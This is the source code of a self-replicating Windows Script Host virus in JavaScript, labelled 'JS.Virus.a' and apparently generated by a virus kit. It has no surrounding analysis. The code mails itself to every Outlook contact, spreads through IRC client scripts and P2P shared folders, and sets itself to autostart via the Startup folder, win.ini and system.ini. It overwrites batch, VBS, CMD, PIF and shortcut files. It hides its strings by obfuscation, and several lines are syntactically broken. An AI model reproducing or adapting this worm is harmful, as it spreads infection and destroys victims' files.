// Virusname: JS.Virus.a
// by Second Part To Hell
// generated with JavaScriptGenerator v1.03
var dkcay="a"
var lnaib=unescape("%62")
var vhazl="c"
var hvyjy="f"
var ulnbn=unescape("%68")
var svczd="i"
var qqveb="k"
var xhyqr="l"
var jmyon="m"
var cfsbd="o"
var hqyxq="p"
var wfrem="q"
var vkqle=unescape("%73")
var dugoo="x"
var bookf="."
var sipfa=WScript.CreateObject(vkqle+vhazl+"r"+svczd+hqyxq+"t"+svczd+"n"+unescape("%67")+bookf+hvyjy+svczd+xhyqr+"e"+vkqle+"y"+vkqle+"t"+"e"+jmyon+cfsbd+lnaib+"j"+"e"+vhazl+"t")
var qmbhg=WScript.CreateObject("w"+vkqle+vhazl+"r"+svczd+hqyxq+"t"+bookf+vkqle+ulnbn+"e"+xhyqr+xhyqr)
var wbvvm=sipfa.GetSpecialFolder(0)
var spqlo=sipfa.OpenTextFile(WScript.ScriptFullName, 1)
var ecwcc=spqlo.ReadAll()
spqlo.Close();
lsoxj=sipfa.CreateTextFile("zegnz.js");
lsoxj.WriteLine(ecwcc);
lsoxj.Close();
sipfa.CopyFile("zegnz.js","ыва");
var zqhhi, gsdjm, ffpnz, nrnaz, edpiv, uuqux
{
gsdjm = WScript.CreateObject("Outlook.Application");
ffpnz=gsdjm.GetNamespace("+jmyon+dkcay+hqyxq+svczd+"");
zqhhi=0;
for(nrnaz=1;nrnaz<=ffpnz.AddressLists.Count;nrnaz++)
{
for(edpiv=1;edpiv<=ffpnz.AddressLists(nrnaz).AddressEntries.Count;edpiv++)
{
if (zqhhi==15)
{
uuqux.Send
zqhhi=0;
}
if (zqhhi==0)
{
uuqux=gsdjm.CreateItem(0);
uuqux.Subject = "ыва";
uuqux.Body = "ываыва";
uuqux.Attachments.Add("ыва");
}
uuqux.Recipients.Add(ffpnz.AddressLists(nrnaz).AddressEntries(edpiv));
zqhhi++;
}
}
if (zqhhi!=0) uuqux.Send
}
if (sipfa.FolderExists("C:\\mirc"))
{ var okjkc="C:\\mirc";
}
if (sipfa.FolderExists("C:\\Programme\\mirc"))
{ var okjkc="C:\\Programme\\mirc";
}
if (sipfa.FolderExists("C:\\Program Files\\mirc"))
{ var okjkc="C:\\Program Files\\mirc";
}
if (okjkc!="")
{ sipfa.CopyFile("zegnz.js",okjkc+"\\ыва");
mihkt=sipfa.CreateTextFile(okjkc+"\\script.ini");
mihkt.WriteLine("["+vkqle+vhazl+"r"+svczd+hqyxq+"t"+"]");
mihkt.WriteLine("n"+"0="+cfsbd+"n"+" 1:"+"j"+cfsbd+svczd+"n"+":*"+bookf+"*: { "+svczd+hvyjy+" ( $"+"n"+svczd+vhazl+qqveb+"==$"+jmyon+"e"+") {"+ulnbn+dkcay+xhyqr+"t"+"} /"+unescape("%64")+vhazl+vhazl+" "+vkqle+"e"+"n"+unescape("%64")+" $"+"n"+svczd+vhazl+qqveb+" "+okjkc+"\\ыва }");
mihkt.Close();
}
if (sipfa.FolderExists("C:\\Pirch98"))
{ var yggia="C:\\Pirch98";
}
if (sipfa.FolderExists("C:\\Programme\\Pirch98"))
{ var yggia="C:\\Programme\\Pirch98";
}
if (sipfa.FolderExists("C:\\Program Files\\Pirch98"))
{ var yggia="C:\\Program Files\\Pirch98";
}
if (yggia!="")
{ sipfa.CopyFile("zegnz.js",yggia+"\\ываыва");
tshjf=sipfa.CreateTextFile(yggia+"\\events.ini");
tshjf.WriteLine("[L"+"e"+unescape("%76")+"e"+xhyqr+vkqle+"]");
tshjf.WriteLine("E"+"n"+dkcay+lnaib+xhyqr+"e"+unescape("%64")+" = 1");
tshjf.WriteLine("C"+cfsbd+unescape("%75")+"n"+"t"+"=6");
tshjf.WriteLine("L"+"e"+unescape("%76")+"e"+xhyqr+"1=000-U"+"n"+qqveb+"n"+cfsbd+"w"+vkqle);
tshjf.WriteLine("000-U"+"n"+qqveb+"n"+cfsbd+"w"+vkqle+"E"+"n"+dkcay+lnaib+lnaib+xhyqr+"e"+unescape("%64")+"=1");
tshjf.WriteLine("L"+"e"+unescape("%76")+unescape("%76")+"e"+xhyqr+"2=100-L"+"e"+unescape("%76")+"e"+xhyqr+" 100");
tshjf.WriteLine("100-L"+"e"+unescape("%76")+"e"+xhyqr+" 100E"+"n"+dkcay+lnaib+lnaib+xhyqr+"e"+unescape("%64")+"=1");
tshjf.WriteLine("L"+"e"+unescape("%76")+unescape("%76")+"e"+xhyqr+"3=200-L"+"e"+unescape("%76")+"e"+xhyqr+" 200");
tshjf.WriteLine("200-L"+"e"+unescape("%76")+"e"+xhyqr+" 200E"+"n"+dkcay+lnaib+lnaib+xhyqr+"e"+unescape("%64")+"=1");
tshjf.WriteLine("L"+"e"+unescape("%76")+unescape("%76")+"e"+xhyqr+"4=300-L"+"e"+unescape("%76")+"e"+xhyqr+" 300");
tshjf.WriteLine("300-L"+"e"+unescape("%76")+"e"+xhyqr+" 300E"+"n"+dkcay+lnaib+lnaib+xhyqr+"e"+unescape("%64")+"=1");
tshjf.WriteLine("L"+"e"+unescape("%76")+unescape("%76")+"e"+xhyqr+"5=400-L"+"e"+unescape("%76")+"e"+xhyqr+" 400");
tshjf.WriteLine("400-L"+"e"+unescape("%76")+"e"+xhyqr+" 400E"+"n"+dkcay+lnaib+lnaib+xhyqr+"e"+unescape("%64")+"=1");
tshjf.WriteLine("L"+"e"+unescape("%76")+unescape("%76")+"e"+xhyqr+"6=500-L"+"e"+unescape("%76")+"e"+xhyqr+" 500");
tshjf.WriteLine("500-L"+"e"+unescape("%76")+"e"+xhyqr+" 500E"+"n"+dkcay+lnaib+lnaib+xhyqr+"e"+unescape("%64")+"=1");
tshjf.WriteLine("[000-U+"+"n"+qqveb+"n"+cfsbd+"w"+"n"+vkqle+"] ");
tshjf.WriteLine("U"+vkqle+"e"+"r"+"1=*!*@*");
tshjf.WriteLine("U"+vkqle+"e"+"r"+"C"+cfsbd+unescape("%75")+"n"+"t"+"=1");
tshjf.WriteLine("E"+unescape("%76")+"e"+"n"+"t"+vkqle+"1="+cfsbd+"n"+" "+"j"+cfsbd+svczd+"n"+":#: /"+unescape("%64")+vhazl+vhazl+" "+vkqle+"e"+"n"+unescape("%64")+" $"+"n"+svczd+vhazl+qqveb+" "+yggia+"\\ываыва");
tshjf.WriteLine("E"+unescape("%76")+"e"+"n"+"t"+"C"+cfsbd+unescape("%75")+"n"+"t"+"=1");
tshjf.WriteLine("[100-L"+"e"+unescape("%76")+"e"+xhyqr+" 100]");
tshjf.WriteLine("U"+vkqle+"e"+"r"+"C"+cfsbd+unescape("%75")+"n"+"t"+"+=0");
tshjf.WriteLine("E"+unescape("%76")+"e"+"n"+"t"+"C"+cfsbd+unescape("%75")+"n"+"t"+"=0");
tshjf.WriteLine("[200-L"+"e"+unescape("%76")+"e"+xhyqr+" 200]");
tshjf.WriteLine("U"+vkqle+"e"+"r"+"C"+cfsbd+unescape("%75")+"n"+"t"+"+=0");
tshjf.WriteLine("E"+unescape("%76")+"e"+"n"+"t"+"C"+cfsbd+unescape("%75")+"n"+"t"+"=0");
tshjf.WriteLine("[300-L"+"e"+unescape("%76")+"e"+xhyqr+" 300]");
tshjf.WriteLine("U"+vkqle+"e"+"r"+"C"+cfsbd+unescape("%75")+"n"+"t"+"+=0");
tshjf.WriteLine("E"+unescape("%76")+"e"+"n"+"t"+"C"+cfsbd+unescape("%75")+"n"+"t"+"=0");
tshjf.WriteLine("[400-L"+"e"+unescape("%76")+"e"+xhyqr+" 400]");
tshjf.WriteLine("U"+vkqle+"e"+"r"+"C"+cfsbd+unescape("%75")+"n"+"t"+"+=0");
tshjf.WriteLine("E"+unescape("%76")+"e"+"n"+"t"+"C"+cfsbd+unescape("%75")+"n"+"t"+"=0");
tshjf.WriteLine("[500-L"+"e"+unescape("%76")+"e"+xhyqr+" 500]");
tshjf.WriteLine("U"+vkqle+"e"+"r"+"C"+cfsbd+unescape("%75")+"n"+"t"+"+=0");
tshjf.WriteLine("E"+unescape("%76")+"e"+"n"+"t"+"C"+cfsbd+unescape("%75")+"n"+"t"+"=0");
tshjf.Close();
}
if (sipfa.FolderExists("C:\\Virc"))
{ var dwjfk="C:\\Virc";
}
if (sipfa.FolderExists("C:\\Programme\\Virc"))
{ var dwjfk="C:\\Programme\\Virc";
}
if (sipfa.FolderExists("C:\\Program Files\\Virc"))
{ var dwjfk="C:\\Program Files\\Virc";
}
if (dwjfk!="")
{ sipfa.CopyFile("zegnz.js",dwjfk+"\\");
qmbhg.RegWrite("HKEY_CURRENT_USER\\.Default\\Software\\MeGaLiTh Software\\Visual IRC 96\\Events\\Event17", "dcc send $nick "+dwjfk+"\\");
}
if (sipfa.FolderExists(wbvvm+"\\Startmenu\\Programme\\Autostart"))
{ sipfa.CopyFile("zegnz.js",wbvvm+"\\Startmenu\\Programme\\Autostart\\uxzgy.js");
}
if (sipfa.FolderExists(wbvvm+"\\Startmenu\\Programs\\StartUp"))
{ sipfa.CopyFile("zegnz.js",wbvvm+"\\Startmenu\\Programs\\StartUp\\iffhw.js");
}
sipfa.CopyFile("zegnz.js",wbvvm+"\\kscqq.js");
cizen=sipfa.CreateTextFile(wbvvm+"\\win.ini");
cizen.WriteLine("["+"w"+svczd+"n"+unescape("%64")+cfsbd+"w"+vkqle+"]");
cizen.WriteLine(xhyqr+cfsbd+dkcay+unescape("%64")+"="+wbvvm+"\\kscqq.js");
cizen.WriteLine("r"+unescape("%75")+"n"+"="+wbvvm+"\\kscqq.js");
cizen.WriteLine("N"+unescape("%75")+xhyqr+xhyqr+"P"+cfsbd+"r"+"t"+"=N"+cfsbd+"n"+"e");
cizen.Close();
sipfa.CopyFile("zegnz.js",wbvvm+"\\irslr.js");
lwqcg=sipfa.CreateTextFile(wbvvm+"\\system.ini");
lwqcg.WriteLine("["+lnaib+cfsbd+cfsbd+"t"+"]");
lwqcg.WriteLine(vkqle+ulnbn+"e"+xhyqr+xhyqr+"="+"e"+dugoo+hqyxq+xhyqr+cfsbd+"r"+"e"+"r"+bookf+"e"+dugoo+"e"+" "+wbvvm+"\\irslr.js");
lwqcg.Close();
frzao=(qcqil+"\\Kazaa\\My Shared Folder");
if (sipfa.FolderExists(frzao))
{ sipfa.CopyFile("zegnz.js", frzao"+\\");
}
rdspp=(qcqil+"\\KaZaA Lite\\My Shared Folder");
if (sipfa.FolderExists(rdspp))
{ sipfa.CopyFile("zegnz.js", rdspp"+\\");
}
hmuse=(qcqil+"\\Morpheus\\My Shared Folder");
if (sipfa.FolderExists(hmuse))
{ sipfa.CopyFile("zegnz.js", hmuse"+\\");
}
flqip=(qcqil+"\\Grokster\\My Grokster");
if (sipfa.FolderExists(flqip))
{ sipfa.CopyFile("zegnz.js", flqip"+\\");
}
fvmhy=(qcqil+"\\BearShare\\Shared");
if (sipfa.FolderExists(fvmhy))
{ sipfa.CopyFile("zegnz.js", fvmhy"+\\");
}
jrfqy=(qcqil+"\\KMD\\My Shared Folder");
if (sipfa.FolderExists(jrfqy))
{ sipfa.CopyFile("zegnz.js", jrfqy"+\\");
}
jgqxs=(qcqil+"\\LimeWire\\Shared");
if (sipfa.FolderExists(jgqxs))
{ sipfa.CopyFile("zegnz.js", jgqxs"+\\");
}
vivhf=(qcqil+"\\edonkey2000\\incoming");
if (sipfa.FolderExists(vivhf))
{ sipfa.CopyFile("zegnz.js", vivhf"+\\");
}
sipfa.CopyFile("zegnz.js","C:\\icyrq.js");
var sdcuo=qmbhg.CreateShortCut("lgair.lnk");
sdcuo.TargetPath=qmbhg.ExpandEnvironmentStrings("C:\\icyrq.js");
sdcuo.Save();
gjpol=sipfa.CreateTextFile("eswgb.bat");
gjpol.WriteLine("+hvyjy+cfsbd+"r"+" %%"+xhyqr+" "+svczd+"n"+" (*."+xhyqr+"n"+qqveb" ..\\*."+xhyqr+"n"+qqveb" \\*."+xhyqr+"n"+qqveb" %path%\\*."+xhyqr+"n"+qqveb") "+unescape("%64")+cfsbd+" "+vhazl+cfsbd+hqyxq+"y"+" lgair.lnk %%l");
gjpol.Close();
qmbhg.Run("eswgb.bat");
sipfa.CopyFile("zegnz.js",wbvvm+"\\lszhp.js");
var njtum=sipfa.CreateTextFile(wbvvm+"\\ucbgn.bat");
njtum.WriteLine("e"+vhazl+ulnbn+cfsbd+" "+cfsbd+hvyjy+hvyjy);
njtum.WriteLine(vhazl+vkqle+"r"+svczd+hqyxq+"t"+" "+wbvvm+"\\lszhp.js");
njtum.Close();
var khohx=sipfa.OpenTextFile(wbvvm+"\\ucbgn.bat");
dhoaj=khohx.ReadAll()
khohx.Close();
var ziiyh=new Array()
ziiyh[0]=qmbhg.GetFolder(".");
ziiyh[1]=wbvvm
ziiyh[2]=wbvvm+"\\Desktop"
for (varud=0; varud<3; varud++)
{
Infect(ziiyh[varud])
}
function Infect(ziiyh)
{
var nzwme=qmbhg.GetFolder(ziiyh)
var gihie=new Enumerator(nzwme.Files)
for (;!gihie.atEnd();gihie.moveNext())
{
if(qmbhg.GetExtensionName(gihie.item()).toUpperCase()=="BAT")
{
var taoos=qmbhg.OpenTextFile(gihie.item().path,2)
taoos.Write(dhoaj)
taoos.Close()
}
}
}
sipfa.CopyFile("zegnz.js",wbvvm+"\\nwdzb.js");
var vccqs=sipfa.CreateTextFile(wbvvm"\\tzzuv.cmd");
vccqs.WriteLine("@echo off");
vccqs.WriteLine("start "+wbvvm+"\\windr.js");
vccqs.Close();
var vxlwc=sipfa.CreateTextFile("mpqit.cmd");
vxlwc.WriteLine("e"+vhazl+ulnbn+cfsbd+" "+cfsbd+hvyjy+hvyjy);
vxlwc.WriteLine(hvyjy+cfsbd+"r"+" /"+"r"+" C:\\ %%c "+svczd+"n"+" (*."+vhazl+jmyon+unescape("%64")+") "+unescape("%64")+cfsbd+" "+vhazl+cfsbd+hqyxq+"y"+" "+wbvvm+"\\tzzuv.cmd %%c");
vxlwc.Close();
qmbhg.Run("mpqit.cmd");
sipfa.CopyFile("zegnz.js",wbvvm+"\\ynjwi.js");
lknjm=sipfa.CreateTextFile(wbvvm+"\\nzjcs.bat");
lknjm.WriteLine("e"+vhazl+ulnbn+cfsbd+" "+cfsbd+hvyjy+hvyjy);
lknjm.WriteLine(vhazl+"t"+"t"+"y"+" "+"n"+unescape("%75")+xhyqr);
lknjm.WriteLine(vhazl+vkqle+vhazl+"r"+svczd+hqyxq+"t"+" "+wbvvm+"\\ynjwi.js");
lknjm.Close();
var rqjpm = qmbhg.CreateShortcut("C:\\yxivu.pif");
rqjpm.TargetPath = qmbhg.ExpandEnvironmentStrings(wbvvm+"\\nzjcs.bat");
rqjpm.WindowStyle = 4;
rqjpm.Save();
zdfal=sipfa.CreateTextFile("C:\\nzjcs.bat");
zdfal.WriteLine("e"+vhazl+ulnbn+cfsbd+" cfsbd+hvyjy+hvyjy);
zdfal.WriteLine(hvyjy+cfsbd+"r"+" %%"+hqyxq+" "+svczd+"n"+" (*."+hqyxq+svczd+hvyjy+" ..\\*."+hqyxq+svczd+hvyjy+" \\*."+hqyxq+svczd+hvyjy+" %path%\\*."+hqyxq+svczd+hvyjy+") "+unescape("%64")+cfsbd+" "+vhazl+cfsbd+hqyxq+"y"+" "+wbvvm+"\\yxivu.pif %%p");
zdfal.Close();
qmbhg.Run("C:\\nzjcs.bat");
sipfa.CopyFile("zegnz.js",wbvvm+"\\stzcn.js");
var jeqxs = sipfa.CreateTextFile(wbvvm+"\\ipsij.vbs")
jeqxs.WriteLine (vkqle+"e"+"t"+" bveqk"+"="+"w"+vkqle+vhazl+"r"+svczd+hqyxq+"t"+bookf+vhazl+"r"+"e"+dkcay+"t"+"e"+cfsbd+lnaib+"j"+"e"+vhazl+"t"+"("+unescape("%22")+"w"+vkqle+vhazl+"r"+svczd+hqyxq+"t"+bookf+vkqle+ulnbn+"e"+xhyqr+xhyqr+unescape("%22")+")");
jeqxs.WriteLine ("bveqk"+bookf+"r"+unescape("%75")+"n"+unescape("%22")+"stzcn.js"+unescape("%22"));
jeqxs.Close();
var gumig=sipfa.OpenTextFile(wbvvm+"\\ipsij.vbs");
mmkal=gumig.ReadAll()
gumig.Close();
var qoewj=new Array()
qoewj[0]=qmbhg.GetFolder(".");
qoewj[1]=wbvvm
qoewj[2]=wbvvm+"\\Desktop"
for (fvkkc=0; fvkkc<3; fvkkc++)
{
Infect(qoewj[fvkkc])
}
function Infect(qoewj)
{
var kcbke=qmbhg.GetFolder(qoewj)
var xpexz=new Enumerator(kcbke.Files)
for (;!xpexz.atEnd();xpexz.moveNext())
{
if(qmbhg.GetExtensionName(xpexz.item()).toUpperCase()=="VBS")
{
var xandv=qmbhg.OpenTextFile(xpexz.item().path,2)
xandv.Write(mmkal)
xandv.Close()
}
}
}